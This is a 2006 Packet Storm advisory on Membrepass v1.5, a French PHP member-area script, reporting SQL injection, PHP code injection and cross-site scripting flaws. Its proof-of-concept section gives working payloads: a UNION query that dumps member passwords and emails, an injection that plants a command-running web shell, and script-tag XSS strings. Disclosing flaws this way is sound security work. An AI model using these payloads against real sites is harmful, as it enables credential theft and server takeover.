membrepass15.txt

2006-09-07T00:00:00
ID PACKETSTORM:49695
Type packetstorm
Reporter DarkFig
Modified 2006-09-07T00:00:00

Description

                                        
                                            `=================================================================  
Affected.scr..: Membrepass v1.5  
Advisory.ID...: 09290806  
Type..........: Cross Site Scripting, SQL Injection  
Php code execution  
Risk.level....: Medium  
Vendor.Status.: Unpatched  
Src.download..: comscripts.com/scripts/php.membrepass.1459.html  
Adv.link......: acid-root.new.fr/advisories/09290806.txt  
=================================================================  
  
  
==[ OVERVIEW  
============  
membrepass AVEC MESSAGERIE est un espace membre installation automatique.  
Marche sur FREE,ONLINE et les autres hébergeurs.Le script est entierement  
configurable et possible d'ajouter les couleurs de votre site.  
Vous pouvez ajouter ou supprimer les champs formulaire.  
Protection des emails contre aspirateurs (anti SPAM).  
[Quote from www.comscripts.com]  
  
  
==[ DETAILS  
===========  
Many vulnerabilities have been discovered in Membrepass v1.5.  
  
1)Input passed to the "recherche" parameter in /recherchemembre.php isn't  
properly sanitised before being used in a SQL query. This bug can be  
exploited to conduct SQL injection attacks. Successful exploitation may  
require that "magic_quotes_gpc" is disabled.  
  
2)Input passed to the "aifon" parameter in /include/change.php isn't  
properly satanised before being used in fputs() function. This can  
be exploited to execude PHP code. Successful exploitation may require  
that "register_globals" is enabled and "magic_quotes_gpc" is disabled.  
  
3)Input passed to the "recherche" parameter in /recherchemembre.php and  
to the "email" parameter in /test.php isn't properly satanised before  
being returned to the user. This can be exploited to conduct cross-site  
scripting attacks. Successful exploitation may require that  
"register_globals" is enabled.  
  
  
==[ POC/EXPLOIT  
===============  
POST /recherchemembre.php DATA recherche=' UNION SELECT passe,0,email,0,0,0,0,0,0,0,0,0,pseudo,0,0,0,0,0,0,0,0,0 FROM membre #  
GET /include/change.php DATA ainfo="; $cmd = $_GET['cmd']; system($cmd); exit; // http://.../include/variable.php?cmd=dir  
POST /recherchemembre.php DATA recherche=</b><script>alert(666)</script>  
GET /test.php DATA email=<script>alert(666)</script>  
  
  
==[ SOLUTION  
============  
Edit the source code to ensure that input is properly verified.  
  
  
==[ TIMELINE  
============  
29. Aug. 2006 - Public Disclosure  
  
  
==[ CONTACT  
===========  
Author: DarkFig  
Web...: www.acid-root.new.fr  
E-mail: gmdarkfig[*]gmail[*]com (fr/en)  
`